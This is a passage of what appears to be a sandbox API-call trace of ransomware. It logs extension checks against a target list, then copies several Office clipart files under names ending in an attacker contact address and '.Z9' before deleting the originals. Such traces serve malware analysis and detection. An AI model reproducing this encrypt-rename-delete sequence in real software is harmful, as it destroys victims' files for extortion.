	[0089.980] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68
	[0089.980] lstrlenW (lpString=".1cd") returned 4
	[0089.980] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68
	[0089.980] lstrlenW (lpString=".jpg") returned 4
	[0089.980] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.980] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0089.980] lstrlenW (lpString="DD01146_.WMF") returned 12
	[0089.980] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01146_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0089.980] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=2796) returned 1
	[0089.980] CloseHandle (hObject=0x2bc) returned 1
	[0089.981] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01146_.wmf")) returned 0x220
	[0089.981] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01146_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0089.981] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01146_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0089.981] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.981] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.981] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01146_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0089.981] GetLastError () returned 0x0
	[0089.981] ReadFile (in: hFile=0x2bc, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0xaec, lpOverlapped=0x0) returned 1
	[0089.983] WriteFile (in: hFile=0x360, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xaf0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xaf0, lpOverlapped=0x0) returned 1
	[0089.984] ReadFile (in: hFile=0x2bc, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0089.984] WriteFile (in: hFile=0x360, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1
	[0089.984] SetEndOfFile (hFile=0x360) returned 1
	[0089.984] CloseHandle (hObject=0x360) returned 1
	[0089.984] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.984] SetEndOfFile (hFile=0x2bc) returned 1
	[0089.985] CloseHandle (hObject=0x2bc) returned 1
	[0089.985] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0089.985] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01146_.wmf")) returned 1
	[0089.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68
	[0089.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68
	[0089.986] lstrlenW (lpString=".doc") returned 4
	[0089.986] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.986] lstrlenW (lpString=".docx") returned 5
	[0089.986] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.986] lstrlenW (lpString=".pdf") returned 4
	[0089.986] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.986] lstrlenW (lpString=".xls") returned 4
	[0089.986] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.986] lstrlenW (lpString=".xlsx") returned 5
	[0089.986] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.986] lstrlenW (lpString=".ppt") returned 4
	[0089.986] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68
	[0089.986] lstrlenW (lpString=".zip") returned 4
	[0089.986] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.986] lstrlenW (lpString=".rar") returned 4
	[0089.986] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.986] lstrlenW (lpString=".bz2") returned 4
	[0089.986] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.986] lstrlenW (lpString=".7z") returned 3
	[0089.986] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68
	[0089.986] lstrlenW (lpString=".dbf") returned 4
	[0089.986] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68
	[0089.986] lstrlenW (lpString=".1cd") returned 4
	[0089.986] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68
	[0089.986] lstrlenW (lpString=".jpg") returned 4
	[0089.986] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68
	[0089.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68
	[0089.987] lstrlenW (lpString=".doc") returned 4
	[0089.987] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.987] lstrlenW (lpString=".docx") returned 5
	[0089.987] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.987] lstrlenW (lpString=".pdf") returned 4
	[0089.987] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.987] lstrlenW (lpString=".xls") returned 4
	[0089.987] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.987] lstrlenW (lpString=".xlsx") returned 5
	[0089.987] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.987] lstrlenW (lpString=".ppt") returned 4
	[0089.987] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68
	[0089.987] lstrlenW (lpString=".zip") returned 4
	[0089.987] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.987] lstrlenW (lpString=".rar") returned 4
	[0089.987] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.987] lstrlenW (lpString=".bz2") returned 4
	[0089.987] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.987] lstrlenW (lpString=".7z") returned 3
	[0089.987] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68
	[0089.987] lstrlenW (lpString=".dbf") returned 4
	[0089.987] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68
	[0089.987] lstrlenW (lpString=".1cd") returned 4
	[0089.987] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68
	[0089.987] lstrlenW (lpString=".jpg") returned 4
	[0089.987] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.987] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0089.988] lstrlenW (lpString="DD01151_.WMF") returned 12
	[0089.988] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01151_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0089.988] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=2960) returned 1
	[0089.988] CloseHandle (hObject=0x2bc) returned 1
	[0089.988] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01151_.wmf")) returned 0x220
	[0089.988] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01151_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0089.988] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01151_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0089.988] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.988] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.988] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01151_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0089.989] GetLastError () returned 0x0
	[0089.989] ReadFile (in: hFile=0x2bc, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0xb90, lpOverlapped=0x0) returned 1
	[0089.990] WriteFile (in: hFile=0x360, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xba0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xba0, lpOverlapped=0x0) returned 1
	[0089.991] ReadFile (in: hFile=0x2bc, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0089.991] WriteFile (in: hFile=0x360, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1
	[0089.992] SetEndOfFile (hFile=0x360) returned 1
	[0089.992] CloseHandle (hObject=0x360) returned 1
	[0089.992] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.992] SetEndOfFile (hFile=0x2bc) returned 1
	[0089.993] CloseHandle (hObject=0x2bc) returned 1
	[0089.993] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0089.993] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01151_.wmf")) returned 1
	[0089.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68
	[0089.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68
	[0089.993] lstrlenW (lpString=".doc") returned 4
	[0089.993] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.993] lstrlenW (lpString=".docx") returned 5
	[0089.993] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.993] lstrlenW (lpString=".pdf") returned 4
	[0089.993] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.993] lstrlenW (lpString=".xls") returned 4
	[0089.993] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.993] lstrlenW (lpString=".xlsx") returned 5
	[0089.993] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.993] lstrlenW (lpString=".ppt") returned 4
	[0089.994] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68
	[0089.994] lstrlenW (lpString=".zip") returned 4
	[0089.994] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.994] lstrlenW (lpString=".rar") returned 4
	[0089.994] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.994] lstrlenW (lpString=".bz2") returned 4
	[0089.994] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.994] lstrlenW (lpString=".7z") returned 3
	[0089.994] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68
	[0089.994] lstrlenW (lpString=".dbf") returned 4
	[0089.994] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68
	[0089.994] lstrlenW (lpString=".1cd") returned 4
	[0089.994] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68
	[0089.994] lstrlenW (lpString=".jpg") returned 4
	[0089.994] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68
	[0089.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68
	[0089.994] lstrlenW (lpString=".doc") returned 4
	[0089.994] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.994] lstrlenW (lpString=".docx") returned 5
	[0089.994] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.994] lstrlenW (lpString=".pdf") returned 4
	[0089.994] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.994] lstrlenW (lpString=".xls") returned 4
	[0089.994] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.994] lstrlenW (lpString=".xlsx") returned 5
	[0089.994] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.994] lstrlenW (lpString=".ppt") returned 4
	[0089.994] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68
	[0089.994] lstrlenW (lpString=".zip") returned 4
	[0089.995] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.995] lstrlenW (lpString=".rar") returned 4
	[0089.995] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.995] lstrlenW (lpString=".bz2") returned 4
	[0089.995] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.995] lstrlenW (lpString=".7z") returned 3
	[0089.995] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68
	[0089.995] lstrlenW (lpString=".dbf") returned 4
	[0089.995] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68
	[0089.995] lstrlenW (lpString=".1cd") returned 4
	[0089.995] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68
	[0089.995] lstrlenW (lpString=".jpg") returned 4
	[0089.995] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.995] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0089.995] lstrlenW (lpString="DD01152_.WMF") returned 12
	[0089.995] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01152_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0089.995] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=2960) returned 1
	[0089.995] CloseHandle (hObject=0x2bc) returned 1
	[0089.996] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01152_.wmf")) returned 0x220
	[0089.996] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01152_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0089.996] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01152_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0089.996] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.996] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.996] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01152_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0089.996] GetLastError () returned 0x0
	[0089.996] ReadFile (in: hFile=0x2bc, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0xb90, lpOverlapped=0x0) returned 1
	[0089.997] WriteFile (in: hFile=0x360, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xba0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xba0, lpOverlapped=0x0) returned 1
	[0089.998] ReadFile (in: hFile=0x2bc, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0089.998] WriteFile (in: hFile=0x360, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1
	[0089.999] SetEndOfFile (hFile=0x360) returned 1
	[0089.999] CloseHandle (hObject=0x360) returned 1
	[0089.999] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.999] SetEndOfFile (hFile=0x2bc) returned 1
	[0090.000] CloseHandle (hObject=0x2bc) returned 1
	[0090.000] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0090.000] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01152_.wmf")) returned 1
	[0090.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68
	[0090.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68
	[0090.000] lstrlenW (lpString=".doc") returned 4
	[0090.000] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0090.000] lstrlenW (lpString=".docx") returned 5
	[0090.000] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0090.000] lstrlenW (lpString=".pdf") returned 4
	[0090.000] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0090.000] lstrlenW (lpString=".xls") returned 4
	[0090.000] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0090.000] lstrlenW (lpString=".xlsx") returned 5
	[0090.000] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0090.000] lstrlenW (lpString=".ppt") returned 4
	[0090.000] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0090.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68
	[0090.001] lstrlenW (lpString=".zip") returned 4
	[0090.001] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0090.001] lstrlenW (lpString=".rar") returned 4
	[0090.001] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0090.001] lstrlenW (lpString=".bz2") returned 4
	[0090.001] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0090.001] lstrlenW (lpString=".7z") returned 3
	[0090.001] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0090.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68
	[0090.001] lstrlenW (lpString=".dbf") returned 4
	[0090.001] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0090.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68
	[0090.001] lstrlenW (lpString=".1cd") returned 4
	[0090.001] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0090.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68
	[0090.001] lstrlenW (lpString=".jpg") returned 4
	[0090.001] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0090.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68
	[0090.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68
	[0090.001] lstrlenW (lpString=".doc") returned 4
	[0090.001] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0090.001] lstrlenW (lpString=".docx") returned 5
	[0090.001] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0090.001] lstrlenW (lpString=".pdf") returned 4
	[0090.001] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0090.001] lstrlenW (lpString=".xls") returned 4
	[0090.001] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0090.001] lstrlenW (lpString=".xlsx") returned 5
	[0090.001] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0090.001] lstrlenW (lpString=".ppt") returned 4
	[0090.001] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0090.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68
	[0090.001] lstrlenW (lpString=".zip") returned 4
	[0090.001] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0090.001] lstrlenW (lpString=".rar") returned 4
	[0090.001] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0090.002] lstrlenW (lpString=".bz2") returned 4
	[0090.002] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0090.002] lstrlenW (lpString=".7z") returned 3
	[0090.002] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
